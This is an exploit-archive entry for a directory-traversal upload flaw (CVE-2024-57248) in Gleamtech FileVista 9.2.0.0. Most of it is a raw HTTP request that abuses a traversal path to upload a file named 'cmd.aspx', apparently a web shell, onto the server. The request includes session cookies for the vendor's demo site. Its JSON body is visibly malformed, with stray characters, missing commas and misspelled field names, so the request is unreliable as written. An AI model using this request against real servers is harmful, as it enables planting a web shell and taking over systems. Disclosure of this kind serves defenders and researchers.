Gleamtech FileVista 9.2.0.0 Directory Traversal Vulnerability

# Exploit Title: Gleamtech FileVista 9.2.0.0 - Directory Traversal Leading to Unrestricted File Upload
# Date: Feb 6, 2025
# Exploit Author: Suthiwat Thepsorn , Theerachai Chanwiroon , Pongtorn Angsuchotmetee , Manich Koomsusi
# Vendor Homepage: https://www.gleamtech.com/
# Software Link: https://demos.gleamtech.com/filevista/
# Version: 9.2.0.0
# Tested on: macOS
# CVE : CVE-2024-57248

POST /filevista/fileuploader.ashx/BeginQueue HTTP/2
Host: demos.gleamtech.com
Cookie: FileVista.RememberedUser=name=admin&language=en&hash=2003938397ace186d9585c247b0bd797; _ga=GA1.1.643446920.1730884542; _gl_au=
1.1.1375949152.1730884542; ASP.NET_SessionId=ewpzf0u4awrnv2hdrybn0tlm; _ga_J4J0CRT2VQ=GS1.1.1731057655.10.1.1731064253.60.0.0
Content-Length: 312
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en; q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: application/json
Content-Type: application/json
Origin: https://demos.gleamtech.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demos.gleamtech.com/filevista/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"queueId": "17310642940180006686",
"method": "Html5",
"items": [
"id":"17310642939920006685",
"name": "cmd. aspx"
"size": 2919,
"dateModified":"2024-11-07T05:12:52.260Z"
"customParameters":｛
"fileManagerStateld": "f42imv"
"fileManagerpath" ;"[1. Root Folder] :\\..\\..\\..\\....\\..\\..\\..\\filevistal\\"
"stateId": "yc5khu"}